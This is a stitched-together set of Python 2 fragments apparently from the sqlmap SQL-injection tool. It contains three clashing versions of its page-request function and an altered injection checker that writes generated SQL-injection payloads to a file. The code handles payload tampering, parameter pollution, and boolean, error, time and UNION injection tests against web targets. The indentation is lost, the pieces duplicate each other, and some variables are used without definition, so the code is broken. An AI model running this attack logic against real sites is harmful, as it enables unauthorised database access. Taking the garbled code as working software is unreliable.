skipUrlEncode = conf.skipUrlEncode
if not place:
place = kb.injection.place or PLACE.GET
raise404 = place != PLACE.URI if raise404 is None else raise404
value = agent.adjustLateValues(value)
payload = agent.extractPayload(value)
threadData = getCurrentThreadData()
if skipUrlEncode is None and conf.httpHeaders:
headers = dict(conf.httpHeaders)
_ = max(headers[_] if _.upper() == HTTPHEADER.CONTENT_TYPE.upper() else None for _ in headers.keys())
if _ and "urlencoded" not in _:
skipUrlEncode = True
if payload:
if kb.tamperFunctions:
for function in kb.tamperFunctions:
payload = function(payload=payload, headers=auxHeaders)
if not isinstance(payload, basestring):
errMsg = "tamper function '%s' returns " % function.func_name
errMsg += "invalid payload type ('%s')" % type(payload)
raise SqlmapValueException, errMsg
value = agent.replacePayload(value, payload)
logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload))
if place == PLACE.CUSTOM_POST:
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
# payloads in SOAP/XML should have chars > and < replaced
# with their HTML encoded counterparts
payload = payload.replace('>', ">").replace('<', "<")
elif kb.postHint == POST_HINT.JSON:
if payload.startswith('"') and payload.endswith('"'):
payload = json.dumps(payload[1:-1])
else:
payload = json.dumps(payload)[1:-1]
value = agent.replacePayload(value, payload)
else:
if place != PLACE.URI or (value and payload and '?' in value and value.find('?') < value.find(payload)):
# GET, URI and Cookie need to be throughly URL encoded (POST is encoded down below)
payload = urlencode(payload, '%', False, True) if place in (PLACE.GET, PLACE.COOKIE, PLACE.URI) and not skipUrlEncode else payload
value = agent.replacePayload(value, payload)
if conf.hpp:
if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)):
warnMsg = "HTTP parameter pollution should work only against "
warnMsg += "ASP(.NET) targets"
singleTimeWarnMessage(warnMsg)
if place in (PLACE.GET, PLACE.POST):
_ = re.escape(PAYLOAD_DELIMITER)
match = re.search("(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value)
if match:
payload = match.group("value")
for splitter in (urlencode(' '), ' '):
if splitter in payload:
prefix, suffix = ("*/", "/*") if splitter == ' ' else (urlencode(_) for _ in ("*/", "/*"))
parts = payload.split(splitter)
parts[0] = "%s%s" % (parts[0], suffix)
parts[-1] = "%s%s=%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1])
for i in xrange(1, len(parts) - 1):
parts[i] = "%s%s=%s%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix)
payload = "".join(parts)
for splitter in (urlencode(','), ','):
payload = payload.replace(splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name")))
value = agent.replacePayload(value, payload)
else:
warnMsg = "HTTP parameter pollution works only with regular "
warnMsg += "GET and POST parameters"
singleTimeWarnMessage(warnMsg)
if place:
value = agent.removePayloadDelimiters(value)
if conf.checkPayload:
checkPayload(value)
if PLACE.GET in conf.parameters:
get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value
if PLACE.POST in conf.parameters:
post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value
if PLACE.CUSTOM_POST in conf.parameters:
post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value
if PLACE.USER_AGENT in conf.parameters:
ua = conf.parameters[PLACE.USER_AGENT] if place != PLACE.USER_AGENT or not value else value
if PLACE.REFERER in conf.parameters:
referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value
if PLACE.HOST in conf.parameters:
host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value
if PLACE.URI in conf.parameters:
uri = conf.url if place != PLACE.URI or not value else value
else:
uri = conf.url
if conf.rParam:
def _randomizeParameter(paramString, randomParameter):
retVal = paramString
match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString)
if match:
origValue = match.group("value")
retVal = re.sub("%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString)
return retVal
for randomParameter in conf.rParam:
for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
if item in conf.parameters:
if item == PLACE.GET and get:
get = _randomizeParameter(get, randomParameter)
elif item == PLACE.POST and post:
post = _randomizeParameter(post, randomParameter)
elif item == PLACE.COOKIE and cookie:
cookie = _randomizeParameter(cookie, randomParameter)
if conf.evalCode:
delimiter = conf.pDel or DEFAULT_GET_POST_DELIMITER
variables = {}
originals = {}
for item in filter(None, (get, post)):
for part in item.split(delimiter):
if '=' in part:
name, value = part.split('=', 1)
evaluateCode("%s=%s" % (name, repr(value)), variables)
originals.update(variables)
evaluateCode(conf.evalCode, variables)
for name, value in variables.items():
if name != "__builtins__" and originals.get(name, "") != value:
if isinstance(value, (basestring, int)):
value = unicode(value)
if '%s=' % name in (get or ""):
get = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, get)
elif '%s=' % name in (post or ""):
post = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, post)
elif post is not None:
post += "%s%s=%s" % (delimiter, name, value)
else:
get += "%s%s=%s" % (delimiter, name, value)
get = urlencode(get, limit=True)
if post is not None:
if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE):
post = getattr(post, UNENCODED_ORIGINAL_VALUE)
elif not skipUrlEncode and kb.postHint not in POST_HINT_CONTENT_TYPES.keys():
post = urlencode(post)
if timeBasedCompare:
if len(kb.responseTimes) < MIN_TIME_RESPONSES:
clearConsoleLine()
if conf.tor:
warnMsg = "it's highly recommended to avoid usage of switch '--tor' for "
warnMsg += "time-based injections because of its high latency time"
singleTimeWarnMessage(warnMsg)
warnMsg = "time-based comparison needs larger statistical "
warnMsg += "model. Making a few dummy requests, please wait.."
singleTimeWarnMessage(warnMsg)
while len(kb.responseTimes) < MIN_TIME_RESPONSES:
Connect.queryPage(content=True)
deviation = stdev(kb.responseTimes)
if deviation > WARN_TIME_STDEV:
kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE
warnMsg = "there is considerable lagging "
warnMsg += "in connection response(s). Please use as high "
warnMsg += "value for option '--time-sec' as possible (e.g. "
warnMsg += "%d or more)" % (conf.timeSec * 2)
logger.critical(warnMsg)
elif not kb.testMode:
warnMsg = "it is very important not to stress the network adapter's "
warnMsg += "bandwidth during usage of time-based queries"
singleTimeWarnMessage(warnMsg)
if conf.safUrl and conf.saFreq > 0:
kb.queryCounter += 1
if kb.queryCounter % conf.saFreq == 0:
Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host)
start = time.time()
if kb.nullConnection and not content and not response and not timeBasedCompare:
noteResponseTime = False
if kb.nullConnection == NULLCONNECTION.HEAD:
method = HTTPMETHOD.HEAD
elif kb.nullConnection == NULLCONNECTION.RANGE:
if not auxHeaders:
auxHeaders = {}
auxHeaders[HTTPHEADER.RANGE] = "bytes=-1"
_, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404)
if headers:
if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers:
pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH])
elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers:
pageLength = int(headers[HTTPHEADER.CONTENT_RANGE][headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:])
if not pageLength:
page, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare)
if conf.secondOrder:
page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
kb.originalCode = kb.originalCode or code
if kb.testMode:
kb.testQueryCount += 1
if timeBasedCompare:
return wasLastRequestDelayed()
elif noteResponseTime:
kb.responseTimes.append(threadData.lastQueryDuration)
if not response and removeReflection:
page = removeReflectiveValues(page, payload)
kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None
kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None
if content or response:
return page, headers
if getRatioValue:
return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength)
elif pageLength or page:
return comparison(page, headers, code, getRatioValue, pageLength)
else:
return False
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None):
"""
This method calls a function to get the target url page content
and returns its page MD5 hash or a boolean value in case of
string match check ('--string' command line parameter)
"""
if conf.direct:
return direct(value, content)
get = None
post = None
cookie = None
ua = None
referer = None
page = None
pageLength = None
uri = None
raise404 = place != PLACE.URI if raise404 is None else raise404
if not place:
place = kb.injection.place
payload = agent.extractPayload(value)
threadData = getCurrentThreadData()
if payload:
if kb.tamperFunctions:
for function in kb.tamperFunctions:
payload = function(payload)
value = agent.replacePayload(value, payload)
logger.log(9, payload)
if place == PLACE.COOKIE and conf.cookieUrlencode:
value = agent.removePayloadDelimiters(value)
value = urlEncodeCookieValues(value)
elif place:
if place in (PLACE.GET, PLACE.POST):
# payloads in GET and/or POST need to be urlencoded
# throughly without safe chars (especially & and =)
# addendum: as we support url encoding in tampering
# functions therefore we need to use % as a safe char
payload = urlencode(payload, "%", False, True)
value = agent.replacePayload(value, payload)
value = agent.removePayloadDelimiters(value)
if conf.checkPayload:
checkPayload(value)
if PLACE.GET in conf.parameters:
get = urlencode(conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value, limit=True)
if PLACE.POST in conf.parameters:
post = urlencode(conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value)
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value
if PLACE.UA in conf.parameters:
ua = conf.parameters[PLACE.UA] if place != PLACE.UA or not value else value
if PLACE.REFERER in conf.parameters:
referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value
if PLACE.URI in conf.parameters:
uri = conf.url if place != PLACE.URI or not value else value
else:
uri = conf.url
if timeBasedCompare:
if len(kb.responseTimes) < MIN_TIME_RESPONSES:
clearConsoleLine()
warnMsg = "time-based comparison needs larger statistical "
warnMsg += "model. Making a few dummy requests, please wait.."
logger.warn(warnMsg)
while len(kb.responseTimes) < MIN_TIME_RESPONSES:
Connect.queryPage(content=True)
if conf.safUrl and conf.saFreq > 0:
kb.queryCounter += 1
if kb.queryCounter % conf.saFreq == 0:
Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer)
start = time.time()
if kb.nullConnection and not content and not response and not timeBasedCompare:
if kb.nullConnection == NULLCONNECTION.HEAD:
method = HTTPMETHOD.HEAD
elif kb.nullConnection == NULLCONNECTION.RANGE:
if not auxHeaders:
auxHeaders = {}
auxHeaders[HTTPHEADER.RANGE] = "bytes=-1"
_, headers = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404)
if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers:
pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH])
elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers:
pageLength = int(headers[HTTPHEADER.CONTENT_RANGE][headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:])
if not pageLength:
page, headers = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
if kb.testMode:
kb.testQueryCount += 1
if conf.cj:
conf.cj.clear()
if timeBasedCompare:
return wasLastRequestDelayed()
elif noteResponseTime:
kb.responseTimes.append(threadData.lastQueryDuration)
if content or response:
return page, headers
page = removeReflectiveValues(page, payload)
if getRatioValue:
return comparison(page, getRatioValue=False, pageLength=pageLength), comparison(page, getRatioValue=True, pageLength=pageLength)
elif pageLength or page:
return comparison(page, getRatioValue, pageLength)
else:
return False
def checkSqlInjection(payload_file):
while tests:
test = tests.pop(0)
try:
title = test["title"]
testType = stype = test["stype"]
clause = test["clause"]
unionExtended = False
"""
# Test for UNION
if stype == PAYLOAD.TECHNIQUE.UNION: # PAYLOAD.TECHNIQUE.UNION = 3
# configUnion(test.request.char)
if "[CHAR]" in title:
title = title.replace("[CHAR]", "CHAR")
elif "[RANDNUM]" in title or "(NULL)" in title:
title = title.replace("[RANDNUM]", "random number")
if test.request.columns == "[COLSTART]-[COLSTOP]":
title = title.replace("[COLSTART]", str("1"))
title = title.replace("[COLSTOP]", str("5"))
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if injection.data and match:
lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper):
if _ > 1:
unionExtended = True
test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns)
title = re.sub(r"\b%d\b" % _, str(2 * _), title)
test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title)
"""
# Skip test if it does not match the same SQL injection clause
# already identified by another test
clauseMatch = False
"""
for clauseTest in clause:
if injection.clause is not None and clauseTest in injection.clause:
clauseMatch = True
break
"""
# Parse test's <request>
comment = agent.getComment(test["request"])
"""
try:
fstPayload = agent.cleanupPayload(test["request"]["payload"], origValue=1)
print >> payload_file, fstPayload
except:
print "[Error] Int value generate failed"
"""
try:
fstPayload = agent.cleanupPayload(test["request"]["payload"], origValue="1")
# print fstPayload
print >> payload_file, fstPayload
except:
print "[Error] String value generate failed :",test
"""
try:
fstPayload = agent.cleanupPayload(test["request"]["payload"], origValue=None)
print >> payload_file, fstPayload
except:
print "[Error] None value generate failed"
"""
for boundary in boundaries:
# Skip boundary if it does not match against test's <clause>
# Parse test's <clause> and boundary's <clause>
clauseMatch = False
for clauseTest in test["clause"]:
if clauseTest in boundary["clause"]:
clauseMatch = True
break
if test["clause"] != [0] and boundary["clause"] != [0] and not clauseMatch:
continue
# Skip boundary if it does not match against test's <where>
# Parse test's <where> and boundary's <where>
whereMatch = False
for where in test["where"]:
if where in boundary["where"]:
whereMatch = True
break
if not whereMatch:
continue
# Parse boundary's <prefix>, <suffix> and <ptype>
prefix = boundary["prefix"] if boundary["prefix"] else ""
suffix = boundary["suffix"] if boundary["suffix"] else ""
ptype = boundary["ptype"]
# For each test's <where>
for where in test["where"]:
templatePayload = None
vector = None
place = "GET"
parameter = "id"
value = "1"
# print "where -----",where
# Threat the parameter original value according to the
# test's <where> tag
if where == PAYLOAD.WHERE.ORIGINAL : # 1
origValue = "1"
templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where)
try:
print >>payload_file,templatePayload
except:
print "[Error] PAYLOAD.WHERE.ORIGINAL generate failed"
elif where == PAYLOAD.WHERE.NEGATIVE: #2
# Use different page template than the original
# one as we are changing parameters value, which
# will likely result in a different content
# print "1++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=="
kb.data["randomInt"] = str(randomInt(10))
kb.data["randomStr"] = str(randomStr(10))
# print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=="
_ = int(kb.data["randomInt"][:2])
origValue = "%s AND %s=%s" % (value, _, _ + 1)
templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where)
try:
print >>payload_file,templatePayload
except:
print "[Error] PAYLOAD.WHERE.NEGATIVE invalidLogical generate failed"
origValue = kb.data["randomInt"][:6]
templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where)
try:
print >>payload_file,templatePayload
except:
print "[Error] PAYLOAD.WHERE.NEGATIVE invalidBignum generate failed"
origValue = kb.data["randomStr"][:6]
templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where)
try:
print >>payload_file,templatePayload
except:
print "[Error] PAYLOAD.WHERE.NEGATIVE invalidString generate failed"
origValue = "-%s" % kb.data["randomInt"][:4]
templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where)
try:
print >>payload_file,templatePayload
except:
print "[Error] PAYLOAD.WHERE.REPLACE generate failed"
elif where == PAYLOAD.WHERE.REPLACE: # 3
origValue = ""
# Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the
# test's ' <payload><comment> ' string
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
# Perform the test's request and check whether or not the
# payload was successful
# Parse test's <response>
for method, check in test.response.items():
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
# In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison
def genCmpPayload():
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
# suffix to the test's ' <payload><comment> '
# string
boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
return cmpPayload
# Useful to set kb.matchRatio at first based on
# the False response content
kb.matchRatio = None
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
Request.queryPage(genCmpPayload(), place, raise404=False)
falsePage = threadData.lastComparisonPage or ""
# Perform the test's True request
trueResult = Request.queryPage(reqPayload, place, raise404=False)
truePage = threadData.lastComparisonPage or ""
if trueResult:
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
# Perform the test's False request
if not falseResult:
infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
if not injectable and not any((conf.string, conf.notString, conf.regexp)) and kb.pageStable:
trueSet = set(extractTextTagContent(truePage))
falseSet = set(extractTextTagContent(falsePage))
candidates = filter(None, (_.strip() if _.strip() in (kb.pageTemplate or "") and _.strip() not in falsePage and _.strip() not in threadData.lastComparisonHeaders else None for _ in (trueSet - falseSet)))
if candidates:
conf.string = candidates[0]
infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (place, parameter, title, repr(conf.string).lstrip('u').strip("'"))
logger.info(infoMsg)
injectable = True
# In case of error-based SQL injection
elif method == PAYLOAD.METHOD.GREP:
# Perform the test's request and grep the response
# body for the test's <grep> regular expression
try:
page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, listToStrValue( \
[headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()] \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
result = output == "1"
if result:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
except SqlmapConnectionException, msg:
debugMsg = "problem occurred most likely because the "
debugMsg += "server hasn't recovered as expected from the "
debugMsg += "error-based payload used ('%s')" % msg
logger.debug(debugMsg)
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
# Confirm test's results
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# In case of UNION query SQL injection
elif method == PAYLOAD.METHOD.UNION:
# Test for UNION injection and set the sample
# payload as well as the vector.
# NOTE: vector is set to a tuple with 6 elements,
# used afterwards by Agent.forgeUnionQuery()
# method to forge the UNION query payload
configUnion(test.request.char, test.request.columns)
if not Backend.getIdentifiedDbms():
if kb.heuristicDbms in (None, UNKNOWN_DBMS):
warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to "
warnMsg += "explicitly set it using option '--dbms'"
singleTimeWarnMessage(warnMsg)
else:
Backend.forceDbms(kb.heuristicDbms)
if unionExtended:
infoMsg = "automatically extending ranges "
infoMsg += "for UNION query injection technique tests as "
infoMsg += "there is at least one other (potential) "
infoMsg += "technique found"
singleTimeLogMessage(infoMsg)
# Test for UNION query SQL injection
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
if isinstance(reqPayload, basestring):
infoMsg = "%s parameter '%s' is '%s' injectable" % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# Overwrite 'where' because it can be set
# by unionTest() directly
where = vector[6]
kb.previousMethod = method
if conf.dummy:
injectable = False
# If the injection test was successful feed the injection
# object with the test's details
if injectable is True:
# Feed with the boundaries details only the first time a
# test has been successful
if injection.place is None or injection.parameter is None:
if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
injection.parameter = place
else:
injection.parameter = parameter
injection.place = place
injection.ptype = ptype
injection.prefix = prefix
injection.suffix = suffix
injection.clause = clause
# Feed with test details every time a test is successful
if hasattr(test, "details"):
for dKey, dValue in test.details.items():
if dKey == "dbms":
injection.dbms = dValue
if not isinstance(dValue, list):
Backend.setDbms(dValue)
else:
Backend.forceDbms(dValue[0], True)
elif dKey == "dbms_version" and injection.dbms_version is None and not conf.testFilter:
injection.dbms_version = Backend.setVersion(dValue)
elif dKey == "os" and injection.os is None:
injection.os = Backend.setOs(dValue)
if vector is None and "vector" in test and test.vector is not None:
vector = test.vector
injection.data[stype] = AttribDict()
injection.data[stype].title = title
injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload)
injection.data[stype].where = where
injection.data[stype].vector = vector
injection.data[stype].comment = comment
injection.data[stype].templatePayload = templatePayload
injection.data[stype].matchRatio = kb.matchRatio
injection.conf.textOnly = conf.textOnly
injection.conf.titles = conf.titles
injection.conf.string = conf.string
injection.conf.notString = conf.notString
injection.conf.regexp = conf.regexp
injection.conf.optimize = conf.optimize
if not kb.alerted:
if conf.beep:
beep()
if conf.alert:
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
logger.info(infoMsg)
process = execute(conf.alert, shell=True)
process.wait()
kb.alerted = True
# There is no need to perform this test for other
# <where> tags
break
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True):
"""
This method calls a function to get the target url page content
and returns its page MD5 hash or a boolean value in case of
string match check ('--string' command line parameter)
"""
if conf.direct:
return direct(value, content)
get = None
post = None
cookie = None
ua = None
referer = None
page = None
pageLength = None
uri = None
if not place:
place = kb.injection.place or PLACE.GET
raise404 = place != PLACE.URI if raise404 is None else raise404
payload = agent.extractPayload(value)
threadData = getCurrentThreadData()
if payload:
if kb.tamperFunctions:
for function in kb.tamperFunctions:
payload = function(payload)
value = agent.replacePayload(value, payload)
logger.log(9, payload)
if place == PLACE.COOKIE and conf.cookieUrlencode:
value = agent.removePayloadDelimiters(value)
value = urlEncodeCookieValues(value)
elif place:
if place in (PLACE.GET, PLACE.POST, PLACE.URI):
# payloads in GET and/or POST need to be urlencoded
# throughly without safe chars (especially & and =)
# addendum: as we support url encoding in tampering
# functions therefore we need to use % as a safe char
if place != PLACE.URI or ('?' in value and value.find('?') < value.find(payload)):
payload = urlencode(payload, "%", False, True)
value = agent.replacePayload(value, payload)
elif place == PLACE.SOAP:
# payloads in SOAP should have chars > and < replaced
# with their HTML encoded counterparts
payload = payload.replace('>', '>').replace('<', '<')
value = agent.replacePayload(value, payload)
value = agent.removePayloadDelimiters(value)
if conf.checkPayload:
checkPayload(value)
if PLACE.GET in conf.parameters:
get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value
if PLACE.POST in conf.parameters:
post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value
if PLACE.SOAP in conf.parameters:
post = conf.parameters[PLACE.SOAP] if place != PLACE.SOAP or not value else value
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value
if PLACE.UA in conf.parameters:
ua = conf.parameters[PLACE.UA] if place != PLACE.UA or not value else value
if PLACE.REFERER in conf.parameters:
referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value
if PLACE.URI in conf.parameters:
uri = conf.url if place != PLACE.URI or not value else value
else:
uri = conf.url
if conf.rParam:
def _randomizeParameter(paramString, randomParameter):
retVal = paramString
match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString)
if match:
origValue = match.group("value")
retVal = re.sub("%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString)
return retVal
for randomParameter in conf.rParam:
for item in [PLACE.GET, PLACE.POST, PLACE.COOKIE]:
if item in conf.parameters:
origValue = conf.parameters[item]
if item == PLACE.GET and get:
get = _randomizeParameter(get, randomParameter)
elif item == PLACE.POST and post:
post = _randomizeParameter(post, randomParameter)
elif item == PLACE.COOKIE and cookie:
cookie = _randomizeParameter(cookie, randomParameter)
get = urlencode(get, limit=True)
if post and place != PLACE.POST and hasattr(post, UNENCODED_ORIGINAL_VALUE):
post = getattr(post, UNENCODED_ORIGINAL_VALUE)
else:
post = urlencode(post)
if timeBasedCompare:
if len(kb.responseTimes) < MIN_TIME_RESPONSES:
clearConsoleLine()
warnMsg = "time-based comparison needs larger statistical "
warnMsg += "model. Making a few dummy requests, please wait.."
singleTimeWarnMessage(warnMsg)
while len(kb.responseTimes) < MIN_TIME_RESPONSES:
Connect.queryPage(content=True)
deviation = stdev(kb.responseTimes)
if deviation > WARN_TIME_STDEV:
kb.adjustTimeDelay = False
warnMsg = "there is considerable lagging (standard deviation: "
warnMsg += "%.1f sec%s) " % (deviation, "s" if deviation > 1 else "")
warnMsg += "in connection response(s). Please use as high "
warnMsg += "value for --time-sec option as possible (e.g. "
warnMsg += "%d or more)" % (conf.timeSec * 2)
logger.critical(warnMsg)
elif not kb.testMode:
warnMsg = "it is very important not to stress the network adapter's "
warnMsg += "bandwidth during usage of time-based queries"
singleTimeWarnMessage(warnMsg)
if conf.safUrl and conf.saFreq > 0:
kb.queryCounter += 1
if kb.queryCounter % conf.saFreq == 0:
Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer)
start = time.time()
if kb.nullConnection and not content and not response and not timeBasedCompare:
if kb.nullConnection == NULLCONNECTION.HEAD:
method = HTTPMETHOD.HEAD
elif kb.nullConnection == NULLCONNECTION.RANGE:
if not auxHeaders:
auxHeaders = {}
auxHeaders[HTTPHEADER.RANGE] = "bytes=-1"
_, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404)
if headers:
if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers:
pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH])
elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers:
pageLength = int(headers[HTTPHEADER.CONTENT_RANGE][headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:])
if not pageLength:
page, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
if kb.testMode:
kb.testQueryCount += 1
if conf.cj:
conf.cj.clear()
if timeBasedCompare:
return wasLastRequestDelayed()
elif noteResponseTime:
kb.responseTimes.append(threadData.lastQueryDuration)
if not response and removeReflection:
page = removeReflectiveValues(page, payload)
if content or response:
return page, headers
if getRatioValue:
return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength)
elif pageLength or page:
return comparison(page, headers, code, getRatioValue, pageLength)
else:
return False
